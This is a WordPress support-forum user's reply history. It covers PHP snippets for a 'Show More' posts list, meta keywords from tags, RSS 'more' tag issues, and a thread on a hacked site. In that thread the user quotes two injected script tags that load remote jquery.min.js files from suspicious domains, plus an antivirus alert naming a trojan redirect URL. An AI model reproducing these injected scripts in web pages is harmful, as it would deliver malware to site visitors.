matthewpaul
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: How to Expand / Collapse Latest Posts or Archivesambrosite,
I tried your code, but all that appears is the links to whatever posts are contained on the current page. Like on a single page, only a link to the page I’m viewing is displayed.
I was able to get a it working (prior to implementing any jQuery) using this code:
<?php wp_reset_query(); if (is_single()) { ?> <span class="latest">Latest Posts</span> <ul class="blogroll"> <?php $myposts = get_posts('numberposts=10&category=-3'); foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>?</li> <?php endforeach; ?> </ul> <a href="#" class="show-more">Show More</a> <ul class="blogroll"> <?php $myposts = get_posts('paged=2&numberposts=5&category=-3'); foreach($myposts as $post) :?> <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>?</li> <?php endforeach; ?> </ul> <?php } ?>
Not the cleanest code, but it works. Can this be written simpler?
Forum: Fixing WordPress
In reply to: How to Expand / Collapse Latest Posts or ArchivesThanks. Basically I’ll have a list of 10 posts. Then a “Show More” button below, which would reveal more posts when clicked.
So I’m thinking I’ll have to create a new div to hold the additional posts. Is it possible to use “get_posts” to show posts 10 through 15 (since the 10 newest posts would already be listed above the new div)?
My only issue is getting this feature to function properly with WordPress code.
Forum: Fixing WordPress
In reply to: Security breach?Thanks.
Forum: Fixing WordPress
In reply to: Security breach?Do you know of a good plugin to install for security? The recommended ones seem to be outdated and I was experiencing issues with Secure WordPress.
Forum: Fixing WordPress
In reply to: Security breach?It appears that the hack was injected into the database, not the PHP files. The malicious code was added to a blog post.
Forum: Fixing WordPress
In reply to: Security breach?My non-WordPress sites (on the same server) are unaffected. I contacted the hosting provider (mt) and they haven’t had any other reports of this.
Forum: Fixing WordPress
In reply to: Security breach?This is happening on one of my other WordPress sites (on the same server). I noticed that this malicious code was being inserted into the index page within the code of the first blog post:
<h5><script src=https://maroon.karenegren.com/js/jquery.min.js></script></h5>
and
<h5><script src=https://yellow.gaindirectory.org/js/jquery.min.js></script></h5>
I never added this code and it’s not in the template file of the theme.
Forum: Fixing WordPress
In reply to: Security breach?I was able to reproduce the issue again.
When visiting the site, my virus protection program, Avast shows this message:
TROJAN HORSE BLOCKED
avast Web Shield has blocked a threat. No further action is required.
Object: https://edisonsbar.com/in.cgi?4|>{gzip}
Infection: HTML:RedirME-inf [Trj]
Action: Connection aborted
Process: C:\Program Files\Mozilla\Firefox\firefox.exeThe threat was detected and blocked while downloading an item from the web.
Are you using the latest version of the plugin? An update recently came out. Try republishing then resubmitting.
Forum: Plugins
In reply to: [Plugin: Google News Sitemap Generator] Incorrect namespace ErrorThanks, Chris!
Forum: Plugins
In reply to: [Plugin: Google News Sitemap Generator] Incorrect namespace ErrorI have the same issue and just emailed the developers regarding this.
Forum: Fixing WordPress
In reply to: Using Tags as Meta KeywordsMichael,
I tried replacing my code with yours, but no tags are showing up in the output.
Forum: Fixing WordPress
In reply to: Using Tags as Meta KeywordsI want to keep the comma so that it properly separates the keywords in the meta tag. Just want to remove the comma from showing up after the last keyword.
Forum: Fixing WordPress
In reply to: Hide all content after the “more” tag in an RSS feedAnyone?
Forum: Fixing WordPress
In reply to: RSS feed before the “more” tagIs there a solution for this? I am having the same issue.